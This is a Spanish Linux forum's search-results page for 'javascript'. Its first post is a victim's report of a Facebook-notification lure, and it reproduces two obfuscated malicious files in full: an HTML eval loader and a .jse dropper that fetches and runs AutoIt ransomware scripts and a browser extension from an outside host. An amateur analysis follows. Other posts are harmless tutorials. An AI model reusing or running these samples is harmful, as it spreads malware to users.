Ir al contenido

Buscar en La Comunidad

Mostrando resultados por etiquetas 'javascript'.

  • Buscar Por Etiquetas

    Añade etiquetas separadas por comas.
  • Buscar Por Autor

Tipo de Contenido


Foros

  • Contacto con el staff
    • Novedades / Anuncios del foro
    • Sugerencias
    • Problemas relacionados con el foro
  • Zona general de charla
    • Presentaciones
    • Charla
    • Zona de Humor, Curiosidades y Otros
    • Mascotas Vagos
    • Noticias del Mundo
    • Tecnología
    • Ayuda y consultas de carácter general
  • Zona GNU/Linux
    • Ayuda, consultas y soporte GNU/Linux
    • Distribuciones GNU/Linux
    • Repositorios. Software GNU/Linux
    • Personalización
    • Raspberry Pi
    • Arduino
    • Manuales / Tutoriales / Guías GNU/Linux
    • Programación
    • Noticias GNU/Linux
    • Hablando de GNU/Linux
  • Zona Gaming
    • Juegos GNU/Linux
    • Noticias Gamer
    • Charla Gamer
  • Zona Móvil
    • Ayuda y soporte para dispositivos móviles
    • Apps Móviles
    • Manuales / Tutoriales / Guías Móviles
    • Roms para dispositivos Móviles
    • Noticias sobre dispositivos Móviles
    • Hablando sobre dispositivos Móviles
  • Zona Mozilla
    • Ayuda, consultas y soporte Mozilla
    • Aplicaciones Mozilla
    • Roms Firefox OS
    • Manuales / Tutoriales / Guías Mozilla
    • Noticias Mozilla
    • Hablando de Mozilla
  • Microsoft
    • Papelera del Foro

Encontrar resultados en...

Encontrar resutados que...


Fecha de Creación

  • Start

    Fin


Última Actualización

  • Start

    Fin


Filtrar por numero de...

Joined

  • Start

    Fin


Grupo


Página Web


Diaspora


Pump


GNU Social


Google +


Twitter


Facebook


Xmpp


Skype


Steam


Desura


MediaGoblin


Youtube


Vimeo


Picasa


Flickr


Email


Lugar


Intereses

Encontramos 13 resultados

  1. Ya van dos veces que en facebook recibo una notificacion diciendo "[Nombre de un amigo mio] te mencionó en un comentario". Me parece que el estilo de la notificación y el texto son muy convincentes, no encontré nada fuera de lugar. Pero cuando toco la notificación en vez de ir a un comentario se descarga un archivo muy dudoso. La primera vez se me descargó un html y hoy un javascript. Al abrirlos se nota bien que son maliciosos. Pego los dos archivos que recibí: FACEBOOK99506256.html <html><i id="iyftoximrggvmrj"><i><center><center><i class="jhdbnkxzbgznks"><img class="bwbxaidctct"><i class="cwijwvtogp"><img><span></span><ul id="qlbziwsxdijh"><center><div id="fhhxtvmnlyokg"></span><div><span id="dfdknaeimrtk"><center id="iuigmfrfpsruqua"></center></i><a href="http://hrdrokufcaleeqo.com"></a><ulid="ekjhallksdnks"></img><center id="effqbrsgcc"><title>Lesli Cagua</title><ul id="caquzvszdqlqt"></i></center></div></i><a href="https://ripfznzxbvjxcsnvp.com"></a><img id="oanusjmbzsbmr"><center id="mpyifckxxtjfik"><i id="dhfpzedmobxbr"><img></ul><div class="ovcvbsugvhux"><ul id="ybftpjvmxql"><span><ul id="ymccjrdqcbrhv"><center class="edwenobzysreq"><img><i><i class="nsbqpgeehddzviq"><a href="http://gnyaqyllencttg.me"></a><span><span class="phjfnweomczzoem"><span id="iyhoixtiyl"><div><ul></img><img class="vfljojcxio"><a class="fqhozmmldb"></span><div><a href="http://hvtydixqvtwfvkkauu.ml"></a><img class="qfcjtjfnijwfz"><img id="zfotzhfsbnhfdm"><a id="acqfbiuuwpivuwp"><ul class="lmguanmthmvyswh"><a href="http://yluwdrepihhhodwedggk.tk"></a><span id="wniuydrbuvrcdi"><img></ul><i class="cnflieoafjvx"></a><span></div><img></ul></i><div class="skwsritmgyzvupy"><ul id="oidxvlmddewnboe"><center></span><img><div id="eaoiekvfzapirf"></div><script>function RMytzvEDK(qfKbOGjpE) {var jheYmerWUA="hAdTUaaSASgrPdjBIkBQuJUsVZJSTkybLCUFDVydOFuEJDfrOHhiqcBmbleVvDWgfRMINlMBQhfzKkQyRY"; gVOfasKQ = ".*blD}5h>2rOQKXvHtZ/L'Y:y)=j;Mm3G{eNPo_8p],R7iE&csd!J+kC1gB?-SfxnUa6A0(VI[<qFw%Tz ".split("");qfKbOGjpE = atob(qfKbOGjpE.split("").reverse().join("")).split("-");KnaxLtWh = "";for (var ARnQXXSLEba = 0; ARnQXXSLEba < qfKbOGjpE.length; ARnQXXSLEba++) {if(typeof gVOfasKQ[qfKbOGjpE[ARnQXXSLEba]] != "undefined") {KnaxLtWh = KnaxLtWh + gVOfasKQ[qfKbOGjpE[ARnQXXSLEba]];var ibiudtyZPbWWh="IQBTCcKJhkusaTkZAsbJMedleSmaOtOxkprMscvAmQSnJdmkvoTitWtxPFxEZmbjBtWUvsuHimUSqhcLvVTPSnmHT";}var lSWncyGYscrMJz="ErpMtbipVXhikOcUaURoXqVWIXnvHNvleLYyNgOIeVRoKTjLOaZMqUIZSWvzJQLOCJnpQbYUXPiHJstysskJnTJgQeFzVroybBNR";}var LMABVilnBJGUU="iOZoEeUdalsymTlewXQXyLfKYGtEBoUJcTXGYSKYdcwqWHutFkqeVvOUciyEwtnym";return KnaxLtWh;}var vgoiyuazrwxkh=RMytzvEDK("=MTL2YTL1ETLtQzM");var gaegqntejry=RMytzvEDK("=MTL2YTL1ETLtQzM");var pjnovytgcipj=RMytzvEDK("=ITL3MTL3ETLtYjN");var uhgdhbjvjhq=window;uhgdhbjvjhq[gaegqntejry](uhgdhbjvjhq[vgoiyuazrwxkh](uhgdhbjvjhq[pjnovytgcipj]('Uk15dHp2RURLKCJ0MFNMdDBTTHRnak10VWpNdEF6TnRBVE50UWpOdFF6TXRrRE50QVRMd1FUTDNFVEwzRVRMMzB5TTIwU0x0MENPeTBTTnkwQ056MFNOMzBDTXgweU54MFNONDBpTTAwU055MENNMzBDTXoweU56MENNMTBDTjIwaU4yMENNeDBDTXRjVEwzRVRMMllUTDVJVEx6VVRMeElUTDVVVEx4SVRMelVUTDFJVEwyMGlOMTBpTjEwaU0wMHlOMjBTTzIwaU4xMGlNMDB5TjIweU4zMGlNMDBpTnRZVE50WVROdElETnRjak50a2pOdFlUTnRJRE50UUROdGN6TnRJRE50WXpOdGtqTnRZVE50SUROdFlUTnRZVE50WVROdElETnRZek50WXpOdElETnRjak50Y3pOdElETnRZVEwyVVRMMlVUTHlRVEw1WVRMNVlUTDJVVEx5UVRMMlVUTDVZVEwyVVRMeVFUTDJVVEw1WVRMMlVUTHlRVEw1MGlOMTBpTjEwaU0wMGlOdFlUTnRZVE50SUROdGNqTnRZVE50WVROdElETnRZVEwyVVRMMlVUTHlRVEwwUVRMMmNUTHlRVEw1MFNPMjBpTjEwaU0wMFNNejBTTzIwaU4xMGlNMDBTTzIwaU4xMGlOMTBpTTAwaU50a2pOdFlUTnRJRE50a1RMNTBpTjEwaU0wMENOMDBpTjMwaU0wMFNPejBTTzIwaU4xMGlNMDBTT3owaU4zMENNMzBDTnowQ00xMHlOejBTTjEwQ014MGlOMjB5TnRVVE50QXpNdGN6TXRBVE10SWpOdEFUTDNVVEwwWVRMMVFUTHdFVEwzRVRMeFlUTHpVVEx4SVRMNUVUTDVFVEx4SVRMelVUTDFJVEx4SVRMeklUTHdRVEwzRVRMM0VUTDMwU015MHlNeTBTTXkweU15MFNPMDBDTTAweU54MHlOeDB5TnRFak10a1ROdFVqTXRFak10TWpNdGtETnRBRE50Y1RNdGNUTXRjVEx4SVRMMWdUTDJJVEwySVRMMWdUTHoweU56MENPMDB5TnoweU54MHlOejBDTXgwQ00wMENNdFFqTnRjek10VUROdGNUTXRZak50Z0ROdGN6TXRNVEx3Y1RMd2NUTDFnVEx5UVRMeElUTHpnVEwyUVRMeU1UTHhJVEx3Y1RMMFlUTDBNVEx3UVRMM01UTHcwQ00wMHlOeDB5TngweU50TWpOdDBTTHRnak10VVRMdDBTTDEwU0x0MFNMNElUTDFJVEwzRVRMellUTDBNVEx6Z1RMME1UTDVRVEwwWVRMM01UTHdRVEw1UVRMME1UTHdFVEx3MENNMDB5TngweU54MHlOdE1qTnRBek50TVRMMllUTDFFVEwwTVRMdDBTTHQweU16MFNONDBTTnkwU08yMFNPMjBTT3RVRE90WWpNdFlqTXRVRE90a0ROdFV6TnRjVE10WWpOdGNUTXRrRE50QVRMd1FUTDNFVEwzRVRMMzB5TTIwU040MHlOMDB5TjAwU040MHlOMzBTTjQwaU55MGlOeTBTTjQwQ056MHlOeDBpTjIweU54MFNNMjBDTnkwQ00xMGlOMjBDTnowQ014MENNdEFETnRjVE10Y1RNdGNUTHpZVEx3Y1RMMWdUTHlZVEwxUVRMdDBTTHRNek10VURPdFVqTXRBek50UWpOdGN6TXRVRE50Y1RNdGdETnRRak50VXpOdElqTnRVRE90WWpNdFVET3RRek10Y1ROdFFqTnRZak50Y1RMNFFUTDBNVEwzRVRMMllUTDNFVEw1UVRMMElUTHdVVEwyWVRMME1UTHdFVEwwWVRMM01UTHcwQ00wMHlOeDB5TngweU50TWpOdDBTTHRnak10VWpNdEF6TnRjVE10a0ROdFF6TXRVek50a3pOdFF6TXRNRE50QUROdGNUTXRjVE10WVRNdEFqTXRrak10UVRNdFVET3RFRE90UXpNdFFqTnRVRE90WWpNdFVET3RBRE50Y1RNdGNUTXRjVEx6WVRMMWdUTHdFVEwyWVRMMUVUTHQwU0w1RVRMeDBDT3kwaU55MENPMjBpTngwQ00xMFNPdElUTnRFek10WWpOdFFET3RjVEx4TVRMd1VUTDNjVEx5VVRMNTBDTzAwQ04yMGlNMTBDTjIwaU10VXpOdGNUTDBZVEw0RVRMMElUTDMwQ016MGlOMjBTTTQweU0wMFNPdFlqTnRFVEw1RVRMdDBTTCIpOw==')))</script></ul><span><a id="zrnfrnuzfzomqga"><center class="tocngmhneger"><a href="http://faemnlzrsedapjvz.cf"></a><ul><a href="http://gabsonsfxojxds.ml"></a><img><img id="jgwhnxiflwyr"><span class="dnnlmpfinamtxv"><span><span></ul><i><ul class="pbunwvizja"><span><a href="http://doddxdoahvgkeh.net"></a></span></html> comment_33385454.jse var _0xe519=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x68\x74\x74\x70","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x41\x44\x4F\x44\x42\x2E\x53\x74\x72\x65\x61\x6D","\x6F\x70\x65\x6E","\x74\x79\x70\x65","\x77\x72\x69\x74\x65","\x70\x6F\x73\x69\x74\x69\x6F\x6E","\x72\x65\x61\x64","\x73\x61\x76\x65\x54\x6F\x46\x69\x6C\x65","\x63\x6C\x6F\x73\x65","\x47\x45\x54","\x73\x65\x6E\x64","\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x2E\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74","\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C","\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E","\x25\x41\x50\x50\x44\x41\x54\x41\x25\x5C","\x45\x78\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E\x67\x73","\x4D\x6F\x7A\x69\x6C\x61","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D","\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x41\x75\x74\x6F\x69\x74\x2E\x6A\x70\x67","\x5C\x61\x75\x74\x6F\x69\x74\x2E\x65\x78\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x62\x67\x2E\x6A\x70\x67","\x5C\x62\x67\x2E\x6A\x73","\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x65\x6B\x6C\x2E\x6A\x70\x67","\x5C\x65\x6B\x6C\x2E\x61\x75\x33","\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x66\x66\x2E\x6A\x70\x67","\x5C\x66\x66\x2E\x7A\x69\x70","\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x66\x6F\x72\x63\x65\x2E\x6A\x70\x67","\x5C\x66\x6F\x72\x63\x65\x2E\x61\x75\x33","\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x73\x61\x62\x69\x74\x2E\x6A\x70\x67","\x5C\x73\x61\x62\x69\x74\x2E\x61\x75\x33","\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x6D\x61\x6E\x69\x66\x65\x73\x74\x2E\x6A\x70\x67","\x5C\x6D\x61\x6E\x69\x66\x65\x73\x74\x2E\x6A\x73\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x72\x75\x6E\x2E\x6A\x70\x67","\x5C\x72\x75\x6E\x2E\x62\x61\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x75\x73\x65\x72\x65\x78\x70\x65\x72\x69\x65\x6E\x63\x65\x73\x74\x61\x74\x69\x63\x73\x2E\x6E\x65\x74\x2F\x65\x78\x74\x2F\x75\x70\x2E\x6A\x70\x67","\x5C\x75\x70\x2E\x61\x75\x33","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x68\x6F\x73\x2E\x61\x6D\x75\x6E\x67\x2E\x75\x73\x2F\x70\x69\x6E\x67\x6A\x73\x2F\x3F\x6B\x3D\x70\x69\x6E\x67\x6A\x73\x65\x33\x34\x36","\x5C\x70\x69\x6E\x67\x2E\x6A\x73","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x68\x6F\x73\x2E\x61\x6D\x75\x6E\x67\x2E\x75\x73\x2F\x70\x69\x6E\x67\x6A\x73\x2F\x3F\x6B\x3D\x70\x69\x6E\x67\x6A\x73\x65\x33\x34\x36\x32","\x5C\x70\x69\x6E\x67\x32\x2E\x6A\x73",""];(function(_0xc4a4x1){function _0xc4a4x2(_0xc4a4x2,_0xc4a4x3,_0xc4a4x4){if(!_0xc4a4x3|| !_0xc4a4x2){return null};var _0xc4a4x5=WScript.CreateObject(_0xe519[0]);_0xc4a4x5[_0xe519[1]]= function(){if(_0xc4a4x5[_0xe519[2]]=== 4&& _0xc4a4x5[_0xe519[3]]=== 200){xa= new ActiveXObject(_0xe519[4]);xa[_0xe519[5]]();xa[_0xe519[6]]= 1;xa[_0xe519[7]](_0xc4a4x5.ResponseBody);xa[_0xe519[8]]= _0xc4a4x4;stm2= new ActiveXObject(_0xe519[4]);stm2[_0xe519[6]]= 1;stm2[_0xe519[5]]();stm2[_0xe519[7]](xa[_0xe519[9]]());stm2[_0xe519[10]](_0xc4a4x3,2);stm2[_0xe519[11]]();xa[_0xe519[11]]()}};_0xc4a4x5[_0xe519[5]](_0xe519[12],_0xc4a4x2,false);_0xc4a4x5[_0xe519[13]](null)}function _0xc4a4x6(_0xc4a4x7,_0xc4a4x8){{xa= new ActiveXObject(_0xe519[4]);xa[_0xe519[5]]();xa[_0xe519[6]]= 1;xa.LoadFromFile(_0xc4a4x7);ix= new ActiveXObject(_0xe519[4]);ix[_0xe519[5]]();ix[_0xe519[6]]= 1;ix.LoadFromFile(_0xc4a4x8);stm2= new ActiveXObject(_0xe519[4]);stm2[_0xe519[6]]= 1;stm2[_0xe519[5]]();stm2[_0xe519[7]](ix[_0xe519[9]]());stm2[_0xe519[7]](xa[_0xe519[9]]());xa[_0xe519[11]]();ix[_0xe519[11]]();stm2[_0xe519[10]](_0xc4a4x7,2);stm2[_0xe519[11]]()}}fso= new ActiveXObject(_0xe519[14]);var _0xc4a4x9= new ActiveXObject(_0xe519[15]);_0xc4a4x1= new ActiveXObject(_0xe519[16]);FileDestr= _0xc4a4x9[_0xe519[18]](_0xe519[17]);mozklasor= FileDestr+ _0xe519[19];if(!fso.FolderExists(mozklasor)){fso.CreateFolder(mozklasor)};_0xc4a4x1.ShellExecute(_0xe519[20]);_0xc4a4x2(_0xe519[21],mozklasor+ _0xe519[22],0);_0xc4a4x2(_0xe519[23],mozklasor+ _0xe519[24],0);_0xc4a4x2(_0xe519[25],mozklasor+ _0xe519[26],0);_0xc4a4x2(_0xe519[27],mozklasor+ _0xe519[28],0);_0xc4a4x2(_0xe519[29],mozklasor+ _0xe519[30],0);_0xc4a4x2(_0xe519[31],mozklasor+ _0xe519[32],0);_0xc4a4x2(_0xe519[33],mozklasor+ _0xe519[34],0);_0xc4a4x2(_0xe519[35],mozklasor+ _0xe519[36],0);_0xc4a4x2(_0xe519[37],mozklasor+ _0xe519[38],0);_0xc4a4x2(_0xe519[39],mozklasor+ _0xe519[40],0);_0xc4a4x2(_0xe519[41],mozklasor+ _0xe519[42],0);_0xc4a4x1.ShellExecute(mozklasor+ _0xe519[36],_0xe519[43],mozklasor,_0xe519[43],0)})(this) EDIT 5: Hay algunas cosas que supuse mal, para ver qué hace el malware ver http://security.stackexchange.com/questions/128254/i-was-tricked-on-facebook-into-downloading-an-obfuscated-script EDIT: Me gustaria saber si es una aplicacion, una falla de diseño de Facebook o que. Luego me pongo a ver el codigo un poco EDIT 2: Ahí terminé de ver casi todo lo que hace (creo). No es que sepa mucho sobre malware, me puse a leer el código a lo que pude entender. Ambos tienen una función que reciben strings que no tienen sentido y los decodifican en nombres útiles como "eval", "GET", o cosas así (incluso funciones enteras que luego son evaluadas) que supongo que son las cosas que buscan los antivirus. Hay algunas cosas que no tienen mucho sentido, no me crean tanto FACEBOOK99506256.html Tiene un montón de HTML creo que basura, creo que tampoco es válido (tags que no se cierran, o se cierran en orden incorrecto). Salvo que ese html sea "informacion codificada" no sirve para nada. Tiene un javascript que descarga otro javascript y una dirección web que en mi caso era de publicidades. No pude descargar el javascript, a lo mejor el sitio estaba caído. Las direcciones eran blazingfastspeeds.com/js.js?[numero_aleatorio]y http://lllllllllll.top/end.php?ref=c Después evalúa ese javascript, que supongo que abre la web de publicidades y hace más cosas, pero no pude conseguir ese javascript comment_33385454.jse Descarga varias cosas: Autoit.exeEs un compilador de un lenguaje de scripting, los scripts tienen extensión .au3 bg.js Es una extensión para chrome Tiene una lista de sitios web sobre antivirus, algunos son antivirus como malwarebytes.org, pero otras son sospechosos como anti-virus.by Ejecuta una función en cada página que uno abre, si esa página está en la lista de direcciones web, corta la carga del sitio. Recibe mensajes desde páginas web cargadas y reenvía algo que no se que es Creo que cierra todas las pestañas de facebook abiertas y abre la página principal de facebook, no se por qué Descarga un javascript más, desde http://appcdn.co/data.js?r=[numero_aleatorio]&url=[sitio_actual]'>http://appcdn.co/data.js?r=[numero_aleatorio]&url=[sitio_actual]y lo ejecuta, lo raro es que esa dirección descarga jquery. Veo que envía un GET con una url y un número aleatorio. A lo mejor hay una url específica que hace que se descargue un javascript malicioso? manifest.jsonCreo que es algo de la extensión ekl.au3No lo miré mucho, similar a force.au3 force.au3Es muy largo, por lo que veo es un ramsomware! ff.zip Me vino vacío Si lo abro con GHEX veo que debe ser un rar, que igual está vacío ping.js Solamente tiene una línea, no se que es: WAU_r_('1,445','pingjse346',-1); EDIT: Después entendí que era, ver el último edit ping2.jsParecido: WAU_r_('1,398','pingjse3462',-1); run.batCompila force.au3 y ekl.au3 con Autoit.exe sabit.au3El MD5 coincide con el de force.au3 up.au3El MD5 también coincide con el de force.au3 Acá hay otro post sobre lo mismo: security.stackexchange.com/questions/128254/facebook-tricked-me-into-downloading-an-obfuscated-script En estos spoilers tengo al comment_33385454.jse y a bg.js un poco acomodados para intentar entender: comment_33385454.jse bg.js EDIT 3: Formato EDIT 4: Otro amigo me mandó dos veces un malware similar. Me mandó un mensaje privado con simplemente un link a un archivo en dropbox. Las dos veces que me lo mandó fueron archivos diferentes, codificados de forma distinta pero que en sí ejecutan el mismo código. Los nombres fueron Tfacebook_59538060.jse y Afacebook_34776416.jse El código que ejecutan es muy similar a comment_33385454.jse: Algo interesante es que entendí que eran los ping.js Creo que son para trackear en cuántas computadoras el malware se ha ejecutado. Eran direcciones web que se descargaban, por ejemplo el último que descargué cargaba esta dirección: http://whos.amung.us/pingjs/?k=pingjse3462 Que buscando un poco en la página pude encontrar esto (ver las URL): http://whos.amung.us/stats/maps/pingjse3462/ Que parecen ser estadísticas de los infectados. Por si les interesa acá van las estadísticas, el comment_33385454.jse linkea a las dos estadísticas mientras que Tfacebook_59538060.jse y Afacebook_34776416.jse linkean solamente a la primera http://whos.amung.us/stats/pingjse3462/ http://whos.amung.us/stats/pingjse346/ Estoy loco o hay más de 100 PCs pings por hora?
  2. Desde que me metí con el tema de Ubuntu Touch, quise ver como se programaba para el sistema, no es que yo sea programador, pero siempre me resulta interesante aprender algo nuevo, no tuve que buscar demasiado para encontrar uno de los pocos cursos para programar en este sistema, el de Miguel Menéndez, prácticamente es el único, tampoco es que haya buscado más porque me pareció muy interesante. La verdad es que está bastante interesante empieza explicando como instalar el entorno de desarrollo en Ubuntu 16.04, a realizar el primer proyecto, típico "Hola mundo" hasta llegar a hacer una calculadora bastante interesante que además podremos usar en nuestro sistema de escritorio. Ahora mismo no se centrará en las cosas especificas Ubuntu Touch debido al abandono del sistema por parte de Canonical, pero seguirá continuando con él, por ahora lleva unos cuantos capítulos en los que explica como programar en QML, Javascript, como adaptar el interfaz dependiendo de la pantalla... También está siendo traducido al Inglés, que suele dar bastante visibilidad a las cosas en este mundillo, sin alargarme más dejo el enlace a la página de GitBook del curso y a la web del desarrollador. Curso de programación de Ubuntu Touch. Página web de Miguel Menéndez. Ya puedes empezar a crear tus aplicaciones para Ubuntu Touch y aunque no te interese el tema puedes aprender cosas los lenguajes de programación que se usan en el curso.
  3. Buenos días. Esta publicación es una mini chuleta de qué puede hacer JavaScript. Como siempre, la publicación que supeditada a moderadores, Admin. Vamos a ello. <!DOCTYPE html> <html lang="es-ES"> <head> <meta charset="UTF-8" /> <!-- Se puede poner aquí en el <head>. --> <script> function myFunction() { document.getElementById("item5").innerHTML = "Párrafo cambiado con JavaScript desde el Head."; } </script> <!-- /Se puede poner aquí en el <head>. --> <title> Mini chuleta sobre JavaScript </title> </head> <body> <!-- Cambiar contenidos --> <h1>¿Qué Puede hacer JavaScript?</h1> <p id="item">JavaScript puede cambiar el contenido del HTML.</p> <button type="button" onclick='document.getElementById("item").innerHTML = "¡Hola JavaScript!"'> ¡Púlsame! </button> <!-- /Cambiar contenidos --> <!-- Mostrar contenidos --> <p> En este caso al pulsar el botón muestra Fecha y Hora actuales </p> <button type="button" onclick="document.getElementById('item1').innerHTML = Date()"> ¡Púlsame! </button> <p id="item1"></p> <!-- /Mostrar contenidos --> <!-- Cambiar atributos --> <h1>¿Qué Puede hacer JavaScript?</h1> <p>JavaScript puede cambiar atributos del HTML.</p> <p> En este caso JavaScript cambia el atributo src (origen) de una imagen.</p> <button onclick="document.getElementById('myImage').src='http://i.imgur.com/QDepkKS.jpg'"> <b>1</b> </button> <img id="myImage" src="http://i.imgur.com/2U15q9e.jpg" style="width:100px"> <button onclick="document.getElementById('myImage').src='http://i.imgur.com/2U15q9e.jpg'"> <b>0</b> </button> <!-- /Cambiar atributos --> <!-- Cambiar el estilo --> <p id="item2">JavaScript puede cambiar el estilo de un elemento en HTML.</p> <button type="button" onclick="document.getElementById('item2').style.fontSize='35px'"> ¡Púlsame! </button> <!-- /Cambiar el estilo --> <!-- Mostrar u, Ocultar contenido --> <p>JavaScript puede mostrar elementos ocultos en el HTML.</p> <p id="item3" style="display:none";> <font size="+2" color="#0000FF">¡Hola, JavaScript muestra este elemento oculto!</font></p> <button type="button" onclick="document.getElementById('item3').style.display='block'"> ¡Púlsame! </button> <p>JavaScript puede ocultar elementos en el HTML.</p> <p id="item4" style="display:block"> ¡Hola JavaScript!</p> <button type="button" onclick="document.getElementById('item4').style.display='none'"> ¡Púlsame! </button> <!-- /Mostrar u, Ocultar contenido --> <!-- JavScript en el <head>. --> <h1>JavaScript en el head</h1> <p id="item5">Un Párrafo que se ve afectado desde el "head" con JavaScript.</p> <button type="button" onclick="myFunction()"> Prueba </button> <!-- /JavScript en el <head>. --> <!-- JavScript en el <body>. --> <h1>JavaScript en el Body</h1> <p id="item6"> Un Párrafo. </p> <button type="button" onclick="myFunction_1()"> Prueba </button> <script> function myFunction_1() { document.getElementById("item6").innerHTML = "Párrafo cambiado con JavaScript en el Body."; } </script> <!-- /JavScript en <body> --> <p> El JavaScript puede colocarse en el cuerpo del documento (body), en la cabecera del documento (head) o, puede invocarse desde un archivo externo. </p> <p> Para saber más, podemos pasar por: <code> https://www.w3schools.com/js/default.asp </code> </p> </body> </html> Bueno, para ver su funcionamiento copiar el código y pegar en su editor de textos preferido, guardar con extensión .html, y abrir con su navegador . A la espera que la información sea de utilidad, Un saludo JPablos
  4. Saludos.... Os voy a mostrar como hacer un control de acceso vía Wifi utilizando la placa arduino, mas un poco de código php, javascript y base de datos Mysql. De esta manera podemos loguearnos desde cualquier dispositivo que este conectado a internet, un pc, una tablet, un teléfono, etc, sin necesidad de que nuestra placa Arduino este conectada por cable a nuestro PC. Materiales utilizados: Una Placa Arduino (yo he utilizado la nano) Un módulo wifi HLK-RM04 12 cables dupont Una pantalla lcd I2C 16X2 Un módulo led rgb Conexiones: Pin SCL del lcd --> Pin A5 de Arduino Pin SDA del lcd --> Pin A4 de Arduino Pin VCC del lcd --> Pin 5 voltios de Arduino Pin GND del lcd --> Pin GND de Arduino Pin V-G del led -->Pin GND de Arduino Pin R del led --> Pin 11 de Arduino Pin G del led --> Pin 10 de arduino Pin B del led --> Pin 9 de Arduino Pin Rx del módulo HLK-RM04 --> Pin Tx de Arduino Pin Tx del módulo HLK-RM04 --> Pin Rx de Arduino Pin GND del módulo HLK-RM04 --> Pin GND de Arduino Pin 5v del módulo HLK-RM04 --> Pin 5v de Arduino Software necesario: El código para Arduino (se mostrará mas abajo). Una página php para introducir el código y verificarlo (se mostrará mas abajo). Una página php para conectar con la base de datos donde están los usuarios y los códigos de acceso (se mostrará mas abajo). Una base de datos Mysql donde se guardarán los usuarios y los códigos de acceso (se explicará mas abajo). El sistema lo que hace es mostrar en la pantalla del lcd la frase "ESPERANDO DATOS" mientras el led está en color azul parpadeante. Cuando ponemos desde la página web el código, si éste es correcto la pantalla lcd muestra "Saludos + nombre de usuario" y el led se pone de color verde. Si el código es incorrecto, no existe, la pantalla muestra "Sin acceso. Código erróneo" y muestra el led de color rojo. A los 5 segundos se resetea y vuelve a mostrar "ESPERANDO DATOS" con led azul parpadeante. Cabe decir que se puede ampliar para que, por ejemplo, accione un relé para abrir una puerta o lo que se os ocurra. Código para la placa arduino: #include <Wire.h> #include <LiquidCrystal_I2C.h> LiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE); int redPin = 11; int greenPin = 10; int bluePin = 9; void setup() { Serial.begin(57600); pinMode(redPin, OUTPUT); pinMode(greenPin, OUTPUT); pinMode(bluePin, OUTPUT); lcd.begin(16,2); lcd.backlight(); lcd.setCursor(4,0); lcd.print("ESPERANDO"); lcd.setCursor(6,1); lcd.print("DATOS"); while(!Serial.available()) { digitalWrite(bluePin, HIGH); delay(500); digitalWrite(bluePin, LOW); delay(500); } } String f = ""; void loop() { boolean has_request = false; String in = ""; if (Serial.available()) { in = ""; while (true) { while (Serial.available() == false) {} in += (char)(Serial.read()); if (in.endsWith("\r\n")) { has_request = true; break; } } } if (has_request) { char i1 = in.indexOf("GET /mensaje?f="), i2; if (i1 != -1) { i2 = in.indexOf(" ", i1+15); f = in.substring(i1+15, i2); } if (f == "aaa") { lcd.clear(); lcd.setCursor(3,0); lcd.print("SIN ACCESO"); lcd.setCursor(1,1); lcd.write("CODIGO ERRONEO"); digitalWrite(bluePin, LOW); digitalWrite(greenPin, LOW); digitalWrite(redPin, HIGH); pagina(); } else { lcd.clear(); lcd.setCursor(4,0); lcd.print("SALUDOS"); lcd.setCursor(1,1); f.replace("+", " "); lcd.print(f); digitalWrite(bluePin, LOW); digitalWrite(greenPin, HIGH); digitalWrite(redPin, LOW); pagina(); } has_request = false; } delay(5000); digitalWrite(greenPin, LOW); digitalWrite(redPin, LOW); software_Reset() ; } void pagina() { Serial.println("HTTP/1.1 200 OK"); Serial.println("Content-Type: text/html"); String sr = "<!DOCTYPE HTML>\n"; sr += "<html>\n"; sr += "<head>\n"; sr += "<meta http-equiv='Refresh' content='0;url=http://192.168.1.11/arduino/wifi/acceso/index.php'>\n"; sr += "</head>\n"; sr += "<body>\n"; sr += "</body>"; sr += 